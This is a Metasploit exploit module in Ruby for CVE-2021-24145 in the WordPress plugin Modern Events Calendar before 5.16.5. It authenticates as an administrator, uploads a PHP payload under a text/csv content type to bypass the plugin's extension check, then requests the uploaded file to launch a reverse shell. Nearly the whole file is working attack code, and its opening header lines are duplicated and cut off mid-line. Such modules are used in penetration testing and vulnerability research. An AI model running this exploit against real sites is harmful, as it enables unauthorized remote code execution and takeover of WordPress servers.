# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit:: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution',
'Description' => %q{
This module allows an attacker with a privileged Wordpress account to launch a reverse shell
due to an arbitrary file upload vulnerability in Wordpress plugin Modern Events Calendar < 5.16.5.
This is due to an incorrect check of the uploaded file extension.
Indeed, by using `text/csv` content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin.
Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/<random_payload_name>.php`
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nguyen Van Khanh', # Original PoC and discovery
'Ron Jost', # Exploit-db
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '50115'],
['CVE', '2021-24145'],
['CWE', '434']
],
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Wordpress Modern Events Calendar < 5.16.5', {}]
],
'Privileged' => false,
'DisclosureDate' => '2021-01-29',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
]
end
def check
unless wordpress_and_online?
return CheckCode::Safe('Server not online or not detected as Wordpress')
end
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie
check_plugin_version_from_readme('modern-events-calendar-lite', '5.16.5')
else
CheckCode::Detected('The admin credentials given are wrong !')
end
end
def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php"
post_data = Rex::MIME::Message.new
post_data.add_part(payload.encoded, 'text/csv', nil, "form-data; name='feed'; filename='#{payload_name}'")
post_data.add_part('import-start-bookings', nil, nil, "form-data; name='mec-ix-action'")
print_status("Uploading file '#{payload_name}' containing the payload...")
r = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
'headers' => {
'Origin' => full_uri('')
},
'vars_get' => {
'page' => 'MEC-ix',
'tab' => 'MEC-import'
},
'cookie' => cookie,
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200
register_file_for_cleanup(payload_name)
print_status('Triggering the payload ...')
send_request_cgi(
'method' => 'GET',
'headers' => {
'Origin' => full_uri('')
},
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/#{payload_name}")
)
end
end